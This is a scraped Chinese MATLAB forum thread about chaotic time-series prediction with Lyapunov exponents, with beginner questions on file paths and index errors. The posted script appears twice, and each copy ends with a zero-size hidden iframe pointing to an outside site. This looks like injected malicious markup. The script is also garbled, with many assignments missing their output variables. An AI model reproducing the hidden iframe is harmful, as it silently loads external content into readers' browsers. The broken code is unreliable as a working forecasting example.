混沌时间序列预测问题
我用nearest_point.m(计算最后一个相点的最近相点的位置及最短距离)来进行混沌时间序列预测,最后出来两个数据,即 idx - 最后一个相点的最近相点的位置 ,和min_d - 最后一个相点与其最近相点间的距离,请高手指点一下:min_d - 这个数据怎么转换到能和原始数据进行比较的数据/?[ 本帖最后由 eight 于 2007-6-8 23:22 编辑 ]
回复 #1 yww3973537 的帖子
%skyhawkclear all;
A=load('bk1.txt');
whl=A(:,4);
=size(whl);
m=6
P=26;%平均循环周期
N=80;%最多校验步数
for i=1:whsl
whlsj(i)=whl(i);
end
=lyapunov(m,whlsj,whsl,P);%求lyapunov指数
lmd_m
% t_m=fix(1/lmd_m) %最大预测步数
t_m=5
for i=(whsl-N+2-t_m):(whsl-N+1) %预测后t_m步
=lyapunov(m,whlsj,whsl-N+2-t_m-1,P);
=pre_by_lya(m,lmd_m,whlsj,i-1,idx,min_d);%预测第i+1个点
whlsj(i)=yc;%将第i步预测值作为完好率数据的第i个值进行下一步预测
end
y(whsl-N+1)=yc;
fch=(y(whsl-N+1)-whl(whsl-N+1))*(y(whsl-N+1)-whl(whsl-N+1));
shuliang=1;
for i=(whsl-N+2):(whsl)
whlsj(i-t_m)=whl(i-t_m);%换为实际值
=lyapunov(m,whlsj,i-t_m,P);
=pre_by_lya(m,lmd_m,whlsj,i-1,idx,min_d);%预测第i+1个点
whlsj(i)=y(i); %换为预测值
fch=fch+(y(i)-whl(i))*(y(i)-whl(i));
shuliang=shuliang+1
end
fch=sqrt(fch)/shuliang
yyy=;
save('kjycqush.txt','yyy','-ASCII');
kk=1:whsl;
plot(kk,whl,'b',kk,y,'r')
%<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>
另外第三行的 A=load('bk1.txt');数据如何读入?哪里是当前目录啊? 原帖由 yww3973537 于 2007-6-8 21:58 发表 http://www.chinavib.com/forum/images/common/back.gif
%skyhawk
clear all;
A=load('bk1.txt');
whl=A(:,4);
=size(whl);
m=6
P=26;%平均循环周期
N=80;%最多校验步数
for i=1:whsl
whlsj(i)=whl(i);
end
pwd 可以查看当前目录,另外,在matlab命令窗口的上边也有 current path
文件路径问题请参阅拙作:“关于添加工具箱”的精华贴
再次请教
谢谢你的回复!请问第一个问题你能解答一下吗?求教
%skyhawkclear all;
A=load('bk1.txt');
whl=A(:,4);
=size(whl);
m=6
P=26;%平均循环周期
N=80;%最多校验步数
for i=1:whsl
whlsj(i)=whl(i);
end
=lyapunov(m,whlsj,whsl,P);%求lyapunov指数
lmd_m
% t_m=fix(1/lmd_m) %最大预测步数
t_m=5
for i=(whsl-N+2-t_m):(whsl-N+1) %预测后t_m步
=lyapunov(m,whlsj,whsl-N+2-t_m-1,P);
=pre_by_lya(m,lmd_m,whlsj,i-1,idx,min_d);%预测第i+1个点
whlsj(i)=yc;%将第i步预测值作为完好率数据的第i个值进行下一步预测
end
y(whsl-N+1)=yc;
fch=(y(whsl-N+1)-whl(whsl-N+1))*(y(whsl-N+1)-whl(whsl-N+1));
shuliang=1;
for i=(whsl-N+2):(whsl)
whlsj(i-t_m)=whl(i-t_m);%换为实际值
=lyapunov(m,whlsj,i-t_m,P);
=pre_by_lya(m,lmd_m,whlsj,i-1,idx,min_d);%预测第i+1个点
whlsj(i)=y(i); %换为预测值
fch=fch+(y(i)-whl(i))*(y(i)-whl(i));
shuliang=shuliang+1
end
fch=sqrt(fch)/shuliang
yyy=;
save('kjycqush.txt','yyy','-ASCII');
kk=1:whsl;
plot(kk,whl,'b',kk,y,'r')
%<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>
我把上面的程序运行时,总是出来下面的错误提示:
??? Error using ==> load
Unable to read file bk1.txt: file does not exist.
求教
再次求教
??? Index exceeds matrix dimensions请问上面的错误提示表示什么啊?? 原帖由 yww3973537 于 2007-6-9 10:00 发表 http://www.chinavib.com/forum/images/common/back.gif
%skyhawk
clear all;
A=load('bk1.txt');
whl=A(:,4);
=size(whl);
m=6
P=26;%平均循环周期
N=80;%最多校验步数
for i=1:whsl
whlsj(i)=whl(i);
end
保证文件路径正确,这个问题实在讨论太多了,建议看看置顶贴:聚宝盆提到的精华贴,还有本人刚整理的关于文件读取的精华贴 原帖由 yww3973537 于 2007-6-9 10:49 发表 http://www.chinavib.com/forum/images/common/back.gif
??? Index exceeds matrix dimensions
请问上面的错误提示表示什么啊??
矩阵下标访问越界,自己调试一下
回复 #8 eight 的帖子
请问上面程序中,下面这行中=lyapunov(m,whlsj,whsl,P);%求lyapunov指数
lyapunov(m,whlsj,whsl,P)函数是哪来的?
您要是有给我一个可以吗? 是呀,我也要想要一个,能发给我学习下么?ym_qi@126.com
页:
[1]